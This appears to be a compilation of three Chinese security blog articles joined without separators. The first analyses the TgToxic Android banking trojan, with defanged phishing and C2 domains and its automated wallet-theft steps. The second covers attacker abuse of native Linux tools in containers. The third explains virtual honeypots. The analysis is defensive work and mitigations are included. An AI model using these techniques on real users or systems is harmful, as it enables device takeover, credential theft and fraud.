早期活動:通過Facebook進行欺詐2022年7月,研究人員發現兩個可能被黑客入侵的Facebook賬戶在一些台灣社區團體上發布了詐騙信息,聲稱用戶可以獲得颶風、洪水和新冠疫情的救助補貼。這些帖子告訴用戶可以在download.tw1988[.]link中註冊申請,而這實際上是一個釣魚網站。不知情的用戶可能會成為受害者,因為該鏈接偽裝成政府官方網站https://1988.taiwan.gov.tw/,該官方網站用於向困難人群提供補貼。

1.png

Facebook上發布的詐騙帖子示例,文字翻譯為“夏季將發放28000項福利,現在輸入https[:]//st7[.]fun/20就可以收到你的勞工補貼”。該應用程序還顯示了潛在受害者就業類別的選項:“農民和漁民的生活津貼”、“無固定雇主的自營職業工人和勞動生活津貼”,以及“旅遊巴士、出租車司機、導遊、領隊和其他補貼”。

色情詐騙和加密貨幣通過追踪TgToxic使用的網絡基礎設施,研究人員隨後發現了中國台灣和印度尼西亞色情和加密貨幣詐騙的幕後黑手。這些惡意應用程序也可以通過down[.]tw1988[.]link從同一網站下載,並偽裝成約會、消息、生活方式或加密貨幣相關應用程序,誘騙用戶安裝並啟用其權限。

2.png

虛假應用程序在下載後立即啟動註冊頁面以誘導用戶,惡意軟件TgToxic開始在後台運行

3.png

在印度尼西亞,虛假應用程序誘導潛在受害者進入色情勒索和加密貨幣詐騙釣魚網站

針對泰國的網絡釣魚活動當研究人員繼續監控TgToxic惡意軟件及其網絡基礎設施時,他們發現,在2022年底至2023年1月初的幾週內,該活動背後的攻擊者開始以泰國用戶為目標,並觀察到類似的色情和網絡釣魚誘餌針對中國台灣用戶,該組織開始添加惡意代碼,以竊取銀行應用程序中的憑據。研究人員還發現,這兩個攻擊已經引起了當地媒體的關注,並在Facebook上受到了大眾社區的報導。

4.png

泰國當地流行的社交媒體賬戶討論了使用流行聊天和約會應用程序的假冒版本的網絡釣魚計劃(左),以及與一名受害者的對話,該受害者也證實了惡意軟件是通過smishing發送的(右)

網絡釣魚、色情和加密貨幣騙局與TgToxic惡意軟件的最新部署樣本都有關係,因為它們都是從同一個網站下載的,下載鏈接為down[.]tw1988[.]link。通過觀察命令和控制(CC)服務器之間的通信,這些應用程序和惡意軟件的CC從api[.]tw1988[.]link更改為test[.]ja7[.]site,後來更改為us[.]ja7[.]site。

TgToxic的技術分析研究人員分析了惡意軟件TgToxic是基於一個名為Eacyclick的合法自動化測試框架開發的,該框架支持通過JavaScript編寫自動化腳本。該腳本可用於自動劫持Android設備的用戶界面(UI),以自動執行諸如監視用戶輸入、執行點擊和手勢等功能。

使用上述框架,TgToxic可以開發自己的自動化腳本,通過竊取受害者放置用戶名和密碼的用戶憑據來劫持加密貨幣錢包和銀行應用程序。一旦獲得了憑證,攻擊者就可以在不需要用戶批准或確認的情況下,使用官方應用程序進行小額交易。與其他銀行惡意軟件一樣,TgToxic還可以通過短信和安裝的應用程序竊取用戶的個人信息,這些信息可以用來通過進一步掃描設備是否存儲了攻擊者感興趣的應用程序來選擇目標受害者。

目前,TgToxic仍在快速發展,並繼續添加新功能,複製更多應用程序以竊取憑據並適應不同的應用程序UI,並從受害者那裡收集更多信息。在這次分析中,研究人員選取了針對泰國移動用戶的最新樣本進行分析。

代碼混淆和有效負載加密TgToxic惡意軟件使用兩種方法來逃避檢測和分析,研究人員將其分為兩部分:

代碼混淆:TgToxic混淆了類名、方法名和字段名,這使得一些分析師更難進行逆向工程。

有效負載加密:TgToxic將Easylick腳本放在一個名為“tg.iapk”的資產文件中,該文件是一個加密的Zip文件,並將在應用程序啟動時動態讀取其中的內容。該惡意軟件實現了一種無文件的方式來解密和加載負載,並在解壓縮後添加了一個額外的邏輯。

5.png

APK結構和有效負載

解密有效負載並濫用輔助功能服務劫持設備UI 6.png

tg.iapk加密過程

正如McAiden的研究人員所指出的,tg.iapk是一個加密的.zip文件。通過靜態分析,研究人員發現解壓密碼經過特殊編碼並存儲在.zip註釋部分,該部分通常用於記錄.zip描述。此部分的內容不會影響壓縮後的內容。要獲得.zip文件的密碼,註釋部分的內容將按照代碼中指定的方式進行解碼。

7.png

Zip密碼解碼功能

解壓縮後,研究人員發現所有文件都是二進製文件,所有文件的前四個字節都是“0x00092383”,這是專門加密的文件。通過反向分析,研究人員找到了解密函數。為了隱藏解密細節,使用反射調用密鑰類和密鑰方法,並加密相關的符號名稱。

8.png

特殊加密文件

9.png

加密文件解密功能

通過分析解密函數,研究人員得到了加密文件的格式。加密文件對密碼進行了編碼,並將其保存在文件的開頭(緊跟魔術數字),同時將加密數據保存在文件末尾。密碼的解碼方式與zip密碼的解碼方法相同。

10.png

特殊加密文件格式

運行時引擎中運行的預編譯腳本自動化腳本被預編譯為Java,並使用Rhino的運行時,Rhino是一個在Java中運行JavaScript的開源引擎。調用函數中的每個開關分支都是一個JavaScript函數,研究人員將解釋代碼如何使用來自惡意軟件的簡單函數運行。

11.png

從一個Javascript函數編譯的Java字節碼

此函數用於收集設備信息並發送到CC服務器。它首先遍歷一個預定義的變量“walletListAry”,其中包含攻擊者感興趣的加密貨幣錢包的包名列表。然後,惡意軟件調用“isAppExist”來檢查應用程序是否在系統中。如果確認,包名稱將被推送到數組中。

然後,惡意軟件以同樣的方式檢查電子郵件應用程序,並創建一個.json對象,其中包含它收集的信息。 “apps”字段包含已安裝的加密貨幣錢包的包名稱,“mails”字段包含安裝的電子郵件應用的包名稱。最後,它調用“JSON.stringify”將.JSON對象序列化為字符串,並調用“emitEnc”通過WebSocket將信息發送到CC服務器。

CC通信和數據洩露惡意軟件使用WebSocket作為腳本執行的CC通道。它將調用“StartWs”連接到WebSocket服務器,然後設置“new_msg”事件偵聽器以接收和解析CC命令。完整的CC命令列表如下所示:

12.1.png

1675926145785857.png

另一個值得注意的細節是,TgToxic將根據受感染設備的地區連接到不同的CC服務器。雖然研究人員仍在繼續跟踪,但除了目前確定的三個國家之外,還沒有在其他地區或國家發現TgToxic活動,但他們認為,這次攻擊背後的攻擊者正試圖根據這些不同服務器的可用性將其活動擴展到其他國家。

13.png

根據設備區域獲取CC主機前綴

數據通過CC通道洩露。以短信竊取為例,惡意軟件首先調用“getSmsInPhone”從郵件收件箱中提取所有短信,然後通過WebSocket CC通道將竊取的數據上傳到服務器。

14.png

提取所有文本消息

自動授予權限和防止卸載TgToxic可以劫持系統應用程序自動授予自己權限,並在受害者試圖卸載惡意軟件時阻止卸載。以下是惡意軟件試圖劫持的系統應用程序及其相應用途的列表:

15.png

惡意軟件試圖控制的系統應用程序列表

控制自動轉賬的金融應用程序TgToxic實施自動轉賬服務(ATS),用戶不知情的情況下向攻擊者轉賬。該惡意軟件首先秘密竊取密碼並解鎖手勢,當它檢測到用戶擁有錢包應用程序時,惡意軟件將檢查特定的活動,並通過密鑰日誌記錄用戶是否輸入密碼。如果用戶用手勢解鎖設備,它還可以截屏。

一旦收到來自CC服務器的“walletSend”命令,惡意軟件就會覆蓋全黑屏幕,以防止受害者意識到惡意活動和傳輸。然後,它打開錢包應用程序並收集鏈類型和余額等詳細信息。然後,TgToxic將通過無障礙服務模擬用戶點擊所有鏈類型的特定收件人:

1.檢查鏈類型是否為“usdt”,並輸入錢包詳細信息;

2.點擊轉移按鈕;

3.輸入接收者地址;

4.輸入轉賬資金;

5.進入轉賬詳情頁面;

6.輸入密碼;

7.點擊“確認”按鈕;

17.png

檢查鏈類型並輸入錢包詳細信息

18.png

輸入被盜的地址信息和收件人的地址

19.png

輸入錢包密碼並確認交易

目標應用程序以下是惡意軟件從中竊取受害者信息的應用程序列表,列表來自針對泰國的最新樣本:

Android設備被攻擊後,惡意軟件從中獲取信息的應用程序列表:

20.1.png

20.2.png

總結儘管部署時間不同,但研究人員發現針對中國台灣、印度尼西亞和泰國的社交媒體網絡釣魚活動和網絡基礎設施類似。當受害者從攻擊者提供的網站下載虛假應用程序時,或受害者試圖通過WhatsApp或Viber等消息應用程序直接向攻擊者發送消息時,攻擊者會欺騙用戶註冊、安裝惡意軟件並啟用其所需的權限。一旦獲得授權,手機就會被攻擊者自動控制,設備中的合法應用程序及其資產將面臨風險。

從分析來看,惡意軟件本身雖不復雜,但很有趣。濫用Easylick和Autojs等合法的自動化框架可以更容易地開發複雜的惡意軟件,特別是對於可以濫用Accessibility服務的Android銀行木馬。框架的複雜性也使逆向工程分析變得困難。由於框架的便利性和反逆向工程設置,未來很有可能有更多的攻擊者可以利用並使用這種方法。

通過對攻擊者的調查,研究人員認為負責這個活動的組織或個人之前並未出現過,但對該地區的目標比較了解,比如繁體和簡體中文用法。研究人員觀察到的一個有趣的細節是,2022年8月,台灣有很多濫用津貼援助主題的騙局。

雖然研究人員也對受害者的部署和企圖有深入了解,但關於當地受害者的實際人數的信息很少。

緩解措施避免安裝來自未知來源和平台的應用程序。不要點擊直接嵌入短信或電子郵件中的應用程序、安裝程序、網站,尤其是來自未知發件人的應用程序;

不要啟用敏感的權限,例如從未知應用程序啟用或下載的輔助功能服務;

還有就是要關註一下攻擊跡象,比如雖然設備未使用,但電池電量消耗很大,這就是危險信號。

通過趨勢科技的蜜罐和監測技術,研究人員能夠觀察到攻擊者濫用原生Linux 工具對Linux 環境發起攻擊的實例。

採用容器已經成為主流,各類企業的使用率都在上升。根據CNCF 的一項調查,93% 的受訪者目前正在或計劃在其運行中使用容器。像Kubernetes這樣的容器項目和其他在雲和互聯網上可用的工具,已經導致了組織運作方式發生變化,從單一架構到創建由微服務組成的分佈式系統。

由於使用了容器這些變化也導致了攻擊面的擴大,特別是通過在部署中引入的安全錯誤配置或漏洞。對於使用容器的企業來說,補丁管理常常是一項巨大的任務,這意味著更新並不總是及時地實現,這使得云安全更加複雜。

研究人員已經在面向公眾的Web 應用程序中發現了各種來源的嚴重漏洞,從易受攻擊的開源庫(Log4Shell 和Spring4Shell)到框架(Apache Struts 和Drupal),甚至是諸如Atlassian Confluence、Oracle WebLogic Server 和Apache HTTP Server等應用程序。一旦漏洞的概念證明(POC) 被披露,攻擊者就可以利用它們執行惡意任務,從挖掘加密貨幣到有時部署勒索軟件。

從防御者的角度來看,理想的結果是阻止攻擊者獲得最初的立足點。然而,情況並非總是如此。如果攻擊者確實設法進入系統,則防御者的工作就是通過使用縱深防禦策略使攻擊者更難成功地完成攻擊。

通過蜜罐網絡和監控分析,研究人員能夠觀察到大多數成功利用嘗試的一些有趣特徵,特別是攻擊者如何在其例程中使用本機Linux 工具。

在Linux 環境中使用合法實用程序和工具檢查攻擊對基於Linux 的系統的攻擊通常遵循標準的利用鏈。首先,攻擊者利用一個漏洞或一系列漏洞來獲得對環境的初始訪問權限(我們現在可以將其視為受到攻擊)。此時,攻擊者可以採取不同的路徑進一步進入被破壞的環境:

1.枚舉當前環境的上下文(發現);

2.從環境中洩露敏感數據(洩露、影響);

3.通過刪除應用程序執行拒絕服務攻擊(影響);

4.通過下載挖礦軟件來挖掘加密貨幣(影響);

5.嘗試其他技術(權限升級、橫向移動、持久性或憑據訪問);

1.png

攻擊者如何在受感染的環境中進一步發起攻擊

基於真實世界的攻擊和蜜罐捕獲的樣本,研究人員觀察到攻擊者使用與Linux 發行版捆綁在一起的各種啟用工具,例如curl、wget、chmod、chattr、ssh、base64、chroot、crontab、ps 和pkill ,這些工具都可以被攻擊者利用。

我們已經看到攻擊者在野外濫用這些工具。至少應該考慮這些實用程序的存在,尤其是在容器環境中,因為它們為攻擊者提供了額外的途徑。

2.png

使用base64解碼有效負載,以便稍後執行

base64 工具是一個Linux 實用程序,用於解碼以base64 格式編碼的字符串。攻擊者經常使用base64 編碼來混淆他們的有效載荷和命令以逃避檢測(T1027),我們在之前的文章《恶意Shell脚本的进化》 中詳細描述了這種技術。

3.png

使用“cat”進程查看所有用戶的.bash_history

.bash 歷史文件存儲在用戶的主目錄中,記錄用戶在其bash shell 上執行的命令。眾所周知,攻擊者會從這些文件中提取信息以了解當前環境的上下文,正如我們之前在另一篇文章中所詳述的那樣,錯誤配置的Docker 守護程序API 端口因Kinsing 惡意軟件活動而受到攻擊。

4.png

使用“cat”進程查看“/etc/passwd”

作為枚舉步驟的一部分,攻擊者訪問/etc/passwd 文件,該文件包含環境中已註冊用戶的列表,並顯示給定用戶是否具有與其登錄相關聯的shell(T1003.008)。此信息有助於攻擊者了解環境並確定有價值的用戶。

5.png

使用“chattr”` 將/etc/crontab 文件修改為可變

chattr 實用程序用於更改文件和文件夾屬性,以控製文件的刪除和修改等突發操作。上圖中的示例顯示/etc/crontab 文件的屬性已被更改,導致文件不安全。正如《分析TeamTNT 的活动》 中所討論的,該實用程序之前已被觀察到被TeamTNT 濫用。

6.png

使用“chmod”使文件可執行

chmod工具用於修改文件模式,實現用戶/組訪問粒度化。它需要執行新下載的可執行文件,在本例中,我們看到/tmp路徑上的agettyd文件被設置為可執行位。

7.png

使用“crontab”刪除所有現有的cron 作業

cron作業是用於調度任務(或作業)的實用工具。眾所周知,攻擊者濫用cron作業並修改“crontab”來執行執行、持久性,有時還會使用特權升級技術(T1053.003)。上圖中的示例顯示了對現有cron作業的刪除。這種情況很常見,加密貨幣挖礦軟件通過刪除其他挖礦軟件的痕跡來劫持盡可能多的資源。《Linux 加密货币挖矿软件之战》 深入討論了這些活動。

8.png

使用“curl”將系統信息洩露給攻擊者

curl 或cURL 實用程序用於跨不同協議傳輸數據,例如HTTP、HTTPS 和文件傳輸協議(FTP)。上圖中的示例顯示操作系統版本和發布版本等系統信息作為POST 請求發送到攻擊者的基礎設施。

9.png

使用“curl”從GitHub 下載xmrig 二進製文件

在本例中,curl用於從Github下載XMRig 挖礦軟件的二進製文件。眾所周知,攻擊者濫用像Github和Netlify這樣的合法平台來服務於加密挖掘工具,正如我們在之前的《通过 GitHub、Netlify 提供的门罗币挖掘恶意软件漏洞》 博客中解釋的那樣。

10.png

使用“pkill”阻止競爭進程/coinminer

kill 套件實用程序用於向進程發送信號,如上圖中的示例所示,它將SIGKILL 信號發送到名為“kdevtmpfsi”的進程。早在2020 年,我們就一直在追踪名為kdevtmpfsi 的加密貨幣挖礦軟件,《分析 Kinsing 恶意软件对 Rootkit 的使用》 展示了另一個競爭挖礦軟件被終止的例子。

11.png

使用“ps”查看正在運行的進程

ps 實用程序用於查看進程的狀態。上圖顯示了ps aux 命令獲取有關進程的詳細信息,例如係統上當前正在運行的進程、進程ID 和進程權限。此信息可以幫助攻擊者執行與發現相關的技術(T1057 ——進程發現)並獲取有關他們所處環境的信息。

12.png

使用“rm”從/tmp 目錄中刪除隱藏文件

在上圖中,我們看到rm 工具用於刪除/tmp 目錄下的隱藏文件和文件夾。在文件或文件夾名稱之前,攻擊者可以通過添加“.”來創建隱藏目錄以逃避檢測(隱藏工件:隱藏文件和目錄- T1564.001)。

13.png

使用“ssh”通過XMR 挖礦軟件感染底層主機

ssh 實用程序是用於通過Secure Shell (SSH) 以類似蠕蟲的方式訪問系統的遠程客戶端。在上圖中,攻擊者嘗試下載Monero 挖礦軟件(使用wget/curl)並感染正在嘗試SSH 的遠程計算機(127.0.0.1)。一旦攻擊者由於容器的不安全配置(例如,特權容器)而掛載了底層主機的文件系統,他們就會創建新的SSH 密鑰對,使用它來建立“ssh”會話,並用加密貨幣挖礦軟件感染底層主機。

14.png

使用“wget”、“curl”、“chmod”下載並執行Mirai 惡意軟件

在此示例中,我們看到了不同Linux 實用程序的組合使用,其中下載了二進製文件,修改了權限,然後再執行。名為“runnable”的可執行文件是在CVE-2021-44228跟踪的Log4shell漏洞被利用後發布的Mirai示例。

15.png

使用“whoami”查看當前用戶上下文

16.png

顯示攻擊者使用“chroot”和“base64”的工作台

使用Vision One 工作台,我們看到攻擊者正在使用chroot 和base64 實用程序。請注意,chroot 用於將根更改為提供的目錄(在本例中為/host),其中底層主機的文件系統安裝在容器中。在《为什么特权容器很容易被攻击》 一文中,我們探討了此函數在授予容器時所帶來的風險。

保護Linux 系統免受實用程序濫用的最佳實踐使用distroless 鏡像通過觀察上一節中討論的技術,我們看到攻擊者可以使用一組與完整操作系統捆綁在一起的工具。作為防御者,使用只包含我們需要的工具的容器映像並刪除不需要的工具會更安全。

這種安全方法可以在很大程度上幫助降低風險,即使是針對諸如Log4Shell 之類的關鍵漏洞也是如此。減少應用程序運行所需的工具數量也減少了由開源庫和工具中的依賴漏洞引入的攻擊面。這裡介紹無發行映像的概念,這些映像被描述為僅包含應用程序及其運行時依賴項的映像,消除了你期望在典型Linux 發行版中找到的程序,例如包管理器和shell。

Cloud One 工作負載安全——應用程序控制從防御者的角度來看,重點應該是通過縱深防禦策略抵禦。雖然對系統進行更改以盡量緩解甚至防止濫用會有所幫助,但利用多種安全措施的多層方法將提供最強的安全級別,理想情況下是將最佳實踐與有效的防禦技術結合起來。

對於非容器化環境,Cloud One 工作負載安全提供了應用程序控制模塊,該模塊監控軟件更改並根據設置的配置允許或阻止它們。它創建現有應用程序的基線並將規則應用於下載和安裝的新應用程序。它基於二進製文件的SHA256 哈希值工作。

它為用戶提供了執行以下操作的選項:

在明確允許之前阻止無法識別的軟件;

在明確阻止之前允許無法識別的軟件;

我們在Ubuntu 20.04 長期支持(LTS) 服務器上使用wget 從GitHub 下載nmap 網絡枚舉工具的預編譯二進製文件。然後,服務器配置了Cloud One 工作負載安全代理,該代理運行應用程序控制模塊,為無法識別的軟件設置為“阻止”模式。如下圖所示,應用程序控制阻止了執行。

17.png

使用來自Cloud One Workload Security的Application Control模塊防止“nmap”二進製文件的執行

18.png

在Cloud One Workload Security上對應的事件,我們看到“nmap”二進製文件被阻止執行

總結由於攻擊者利用了內置在操作系統中的合法工具和實用程序,防御者將需要優先考慮如何在攻擊的不同階段設置控制。通過在容器中使用無分發映像和應用預防性控制(如Cloud One Workload Security的應用程序控制)來最小化攻擊面,可以大大降低針對雲環境的攻擊者的速度。在組織無法使用無發行版實現的情況下,也可以使用相同映像的“精簡”版本來減少攻擊面並加強雲部署的安全性。

虛擬蜜罐是由一台計算機模擬的系統,但是可以響應發送給虛擬蜜罐的網絡流量,今天我們來淺析一下虛擬蜜罐。

蜜罐可以運行任何操作系統和任意數量的服務。蜜罐根據交互程度(Level ofInvolvement)的不同可以分為高交互蜜罐和低交互蜜罐。蜜罐的交互程度是指攻擊者與蜜罐相互作用的程度,高交互蜜罐提供給入侵者一個真實的可進行交互的系統,相反,低交互蜜罐只可以模擬部分系統的功能。高交互蜜罐和真實係統一樣可以被完全攻陷,允許入侵者獲得系統完全的訪問權限,並可以以此為跳板實施進一步的網絡攻擊。相反的,低交互蜜罐只能模擬部分服務、端口、響應,入侵者不能通過攻擊這些服務獲得完全的訪問權限。

蜜罐分為高交互蜜罐、低交互蜜罐、物理蜜罐、虛擬蜜罐。從實現方法上來分,蜜罐可分為物理蜜罐和虛擬蜜罐。物理蜜罐是網絡上一台真實的完整計算機,虛擬蜜罐是由一台計算機模擬的系統,但是可以響應發送給虛擬蜜罐的網絡流量。今天我們來淺析一下虛擬蜜罐。

1.png

對比物理蜜罐而言,虛擬蜜罐要容易得多。可以在一台計算機上部署數千個蜜罐,代價低廉,幾乎所有人都可以很容易地使用它們,並且使得其更加容易維護以及較低的物理需求。很多時候我們會使用VMware或者用戶模式的Linux (UML)等來建立虛擬蜜罐,這些虛擬系統工具可以在一台物理計算機上運行多個蜜罐系統及應用程序來收集數據。

虛擬蜜罐通常會模擬出真實的操作系統,並將其部屬在一台宿主主機上。在虛擬系統中虛擬出漏洞,產生虛假的流量,偽裝不存在的文件地址,存儲真實但無意義的文件,對網絡中的各種信息進行模擬等,來更好的吸引入侵者的攻擊虛擬蜜罐。

一是IP地址的空間欺騙。用一台主機就可以完成,利用在一個網卡來分配複數個IP地址,並對每一個IP地址配置單獨的MAC地址,可以完成多個主機的虛擬。

第二個是仿真網絡流量。因為虛擬蜜罐在一般情況下不會與其他主機主動進行交互,也就沒有任何的網絡流量,容易被入侵者根據這一點識破虛擬蜜罐。所以產生方針流量以後,可以欺騙入侵者,使入侵者無法通過對流量的觀察來判斷虛擬蜜罐的存在。

第三個是系統的動態配置。在正常狀態下,一個虛擬蜜罐的狀態是靜態的,沒有交互和網絡流量,一些有經驗的入侵者可以通過觀察系統的狀態來判斷是否是虛擬蜜罐。而係統的動態配置正是針對這一點,虛擬蜜罐的系統狀態會不斷的發生變化,會盡可能的模擬一個真實係統的行為,防止入侵者輕易的就發現虛擬蜜罐,導致其失去作用。

第四個是組織信息欺騙。可以在虛擬蜜罐裡設置一些個人信息,或者存儲一些沒有意義的虛假信息、文件等,可以讓虛擬蜜罐看起來更像是一個有人使用的真實係統,增加對入侵者的迷惑性。

第五個是端口重定向技術。這種技術可以對地址進行數次轉換,區別真實和虛擬網絡,也可以對常用端口進行重定向,達到隱藏這些端口的目的。

當多個蜜罐組成網絡時稱為密網,而一個密網的核心是蜜牆,也就是密網網關。蜜牆主要功能:

數據捕捉:可以在不被入侵者察覺的情況下,對密網內所有的活動和網絡數據信息進行捕捉。

數據控制:對進出密網的數據進行流量控制。這樣可以在內部蜜罐被攻破以後,確保其所有的活動依然被限制在蜜網之內。

數據分析:幫助密網管理者簡化捕捉數據分析,並可以幫助計算機和網絡取證。

常用的實現虛擬蜜罐的技術主要有VMware、用戶模式Linux、Argos、LaBrea、Honeyd等。

(1)VMware技術VMware公司是老牌的虛擬化軟件公司之一,其提供了多種虛擬化軟件應對不同的狀況。虛擬化軟件表示軟件可以模擬一個完整的計算機系統,並且可以在同一個虛擬機上可能運行多個不同的操作系統。下面介紹VMware公司的一些產品,這些VMware產品相互之間的不同點。

實際安裝VMware 的物理機器,執行VMware進程的計算機和操作系統實例稱為主機(或宿主主機)。運行在虛擬機內部的操作系統被稱為客戶系統或客戶虛擬機。兩種系統之間的交互是完全透明的,例如在主機和客戶系統之間,使用VMware可以共享文件夾、複製粘貼各種文件。

虛擬系統起到一個類似於模擬器的作用,主機的物理CPU和內存資源可以被主機與客戶虛擬機共享,但同時客戶操作系統也可以從VMware中分配到一套完整的虛擬硬件資源。例如,在多個客戶系統中,一套相同的虛擬硬件資源可以被所有的客戶系統所使用,就像同一配置的多台計算機安裝不同的操作系統,而且這些虛擬硬件可以在不超過客戶虛擬機配置的情況下任意的進行設置,不需要考慮真實物理硬件資源,這些硬件資源都可以連至主機系統。

2.png

(2)用戶模式Linux用戶模式Linux 是另一種可以用來創建虛擬蜜罐的系統,用法十分簡單,但是與VMware相比,主要缺點就是它只能模擬Linux系統。

UML是一個Linux內核的體系結構端口,系統內稱為接口。 Linux內核本身可以作為一個用戶進程來運行,實際的Linux內核(主機系統〉執行另外一個Linux(客戶系統)實例,把它作為一個進程。這個過程與VMware 中的虛擬機類似,每一個UML實例都是一個完整的虛擬機,與一個真實的計算機幾乎沒什麼區別。於是就有了一個簡單的方法來實現虛擬機,直接使用UML建立一個虛擬蜜罐,獲得一個虛擬系統提供的所有優點。在配置或穩定性上,客戶系統不會影響到主機系統。UML的塊設備,也稱為磁盤,通常是主機文件系統上的文件,不會影響存儲正常數據的本地塊設備。

UML作為一個操作系統只能運行在Linux上,所以如果運行Windows 或其他系統的時候,不能使用這種方式創建蜜罐。看起來只能選擇Linux系統缺點很嚴重,但也並非沒有好處,使用UML可以方便的創建許多不同的運行Linux的蜜罐。由於UML的塊設備是正常的文件,客戶系統使用這一文件(通常稱為根文件系統)作為一個完整的文件系統,可以很容易的把一個UML實例從一台機器上移植到另一台機器上。 UML 的另一個選項實用性也很強,能夠在寫時復制(copy-on-write,COW)模式下使用文件,UML實例在只讀模式下使用跟文件系統,把所有的更改寫入到一個單獨的文件中-COw文件,使得幾個蜜罐可以同時使用一個根文件系統,即可以節省磁盤空間,又可以便於維護管理。

(3)ARGOS荷蘭阿姆斯特丹自由大學的研究人員開發了一種新型的虛擬高交互蜜罐,該工具被稱為Argos,能夠自動檢測零天(zero-day)攻擊,也就是尚無補丁的攻擊。他們使用一種名為動態污點分析的技術來監測蜜罐:第一步,標記所有通過網絡接收到的數據,通過內存追踪這些標記數據,一旦這些標記數據被使用,影響了執行流程,Argos檢測到這些並產生一個攻擊的內存痕跡。相對於其他虛擬蜜罐解決方案,Argos不只是執行客戶虛擬機,同時還密切監測蜜罐,試圖及時發現攻擊者成功攻陷蜜罐的切入點。

動態污點分析是Argos技術的核心,這種技術根本在於觀察,一個攻擊者控制一個給定程序的執行流程,他一定會是使用某種方式影響它,但不論是何種方式,攻擊者都必須向程序發送一個不正常的輸入,這樣的數據必定會影響執行流,例如,跳轉到攻擊者提供的數據。

在這一過程中,動態污點分析發揮作用,一個程序的所有外部輸入都被當作污點被標記。在分析過程中,密切監視和檢查所有污染變量的使用,當一個污染變量通過其他操作得到的結果也被認為受到污染:但如果一個污染變量被賦予一個固定值,則認為該變量不再是受污染變量。這樣就可以跟踪外部輸入的使用,一旦這種污染輸入用於改變執行流,就可以被檢測出來。對Argos 來說,它產生的信息轉儲包含引起正常執行流偏離的相關信息。這個方法對檢測網絡攻擊靈敏度很高,而且我們檢測攻擊無需任何先驗知識。當一個攻擊發生時,我們可以精確地檢測到,通過分析確定導致該事件的原因。

(4)LaBrea由Tom Liston 創作的LaBrea,因引入了一個tarpit概念而聞名。 tarpit是一種服務,作用是通過使TCP連接非常緩慢或完全停止它們的進程,試圖減緩垃圾郵件發送者發送速度甚至是蠕蟲的傳播速度,雖然tarpit並不能減緩更高級的蠕蟲傳播,然而,對於順序操作的簡單蠕蟲tarpit具有良好的作用。

在網絡上運行LaBrea時,它會發現空閒的IP地址,並代替它們應答連接。一旦連接被建立起來,LaBrea會通過在TCP協議中採用技巧而盡可能長時間地黏住發送者,這樣建立的連接會進入到一種不能再取得任何進展的狀態。拖延連接的原因很簡單,垃圾郵件或病毒發送者在服務器上每多維持一個連接,就減少了向真正的主機發送垃圾郵件的可用資源。

為了檢測一個IP地址是否可用,LaBrea利用ARP協議。每當路由器試圖向一個IP地址交付一個數據包時,它首先需要找到相應的MAC地址,如果沒有主機監聽這一IP地址,ARP不會獲得應答。

例如:12:20:40.439476 arp who-has 192.168.1.123 tell 192.168.1.2

由於ARP在整個網絡上進行廣播,LaBrca 監視來自路由器的ARP請求,如果網絡中沒有主機相應IP地址192.168.1.123,LaBrea就會發送自己的應答:

12:20:42.356431 arp reply 192.168.1.123 is-at 00:3c:2f:1e:52:7a

現在路由器收到了一個MAC地址,就會把這個數據包以及後去的數據包發送給LaBrea 主機。但當一個主機重新啟動,它可能會使用一個已經被LaBrea佔用的IP地址,不過重啟的主機會發送一個無需應答的ARP請求,通知網絡上的所有人新的IP地址和MAC的綁定,那麼LaBrea將會放棄該IP地址。 LaBrea接受網絡上所有空閒的IP地址的TCP連接,當它收到一個SYN包,它就會通過完成TCP 三次握於建立一個連接,然後拖延這個連接。 LaBrea支持兩種放慢連接傳輸速度的方法:

窗口調節:LaBrea接受一個新的連接,但會公佈一個非常小的接收窗口。接收窗口指示發送者,每個數據包不能發送大於窗口允許長度的數據。當採用窗口調節時,連接仍然在繼續,但當一個1000字節長度的包被要求以10個字節長度位單位進行傳輸,顯然傳輸時間會變得非常漫長,速率會變的非常緩慢。

持久捕捉:LaBrea 公佈一個TCP接收窗口的大小為0,指示發送者在繼續發送數據前等待。發送者周期地回訪,發送窗口探測數據包,以確定接收窗口是否再次打開,這種狀態可以一直持續下去。

當垃圾郵件發送者試圖通過一個La Brea 蜜罐發送電子郵件時,SMTP事務將不產生或者產生很小的進程,一個啞垃圾郵件發送者將保持該連接,浪費網絡資源。最終,垃圾郵件發送者一旦發現和La Brea會話沒有取得進展,它可能走掉。

當我們使用DHCP用於IP地址動態分配,LaBrea將接管DHCP地址範圍內目前尚未使用的地址。 DHCP服務器在分發一個IP地址前,往往首先ping該地址,但是LaBrea對ping 的響應會干擾DHCP服務器的判斷。隨著時間的推移,用戶歸還了他們租用的IP地址,最後LaBrea將接管整個DHCP地址空間。所以一個用戶需要知道哪些地址是被他的DHCP服務器使用,並在配置文件中排除它們。

3.png

(5)HoneydHoneyd是一種框架,可以把數千個虛擬蜜罐及對應的網絡集成到一起。通常我們使用Honeyd集成現有網絡上所有未分配的IP地址,對每一個IP地址,都可以設置Honeyd模擬不同的計算機行為。

一般的來說,當一個蜜罐只使用一個IP地址時,可能需要相當長的一段時間才可以探測到攻擊,但當你擁有的IP地址多達成百上千時,可以大大加快被攻擊的速度,這就是Honeyd的作用,以一個低交互虛擬蜜罐的框架,在一個網絡或者Internet 上建立數千個虛擬蜜罐,充分的利用未分配的網絡地址,來更多的觀察攻擊行為,或者用來阻止入侵者攻擊真實係統。

Honeyd通過路由器或代理ARP為其虛擬蜜罐接受流量,對於每一個蜜罐,Honeyd可以模擬不同的操作系統的網絡棧行為。

Honeyd的特性Honcyd可以同時模擬數幾千個不同的虛擬主機:入侵者可以通過網絡與每一個單獨的主機進行交互。可以通過配置Honeyd得到每個主機的不同行為。

通過配置文件可以配置任意服務:當入侵者與虛擬主機進行交互時,Honeyd可以提供與對手交互的任意程序,這些程序服務都可以使用配置文件進行配置。無論何時Honeyd收到一個新的網絡連接,都可以及時啟動事先配置好的服務或者程序,回應入侵者。即使不運行相應的程序,Honeyd也可以作為代理將連接轉接到其他主機上,或者採用類似於被動指紋識別的功能,識別遠程主機和負載的隨即採樣。

在TCP/IP協議棧層次模擬操作系統:這一特性允許Honeyd 欺騙Nmap和Xprobe,讓他們相信一個虛擬蜜罐上正運行著各種配置的操作系統。組建自由路由拓撲:路由拓撲可以任意複雜,可以配置延遲、丟包和帶寬等特徵。 Honeyd支持非對稱路由、物理機器集成到一個虛擬拓撲中,以及通過GRE隧道的分佈式操作。

子系統虛擬化:利用子系統,Honeyd可以在一個蜜罐的虛擬空間下執行真正的UNIX應用,如Web服務器、Ftp服務器等等。這一特徵也允許虛擬地址空間內進行動態端口綁定和網絡連接的後台初始化。

4.png

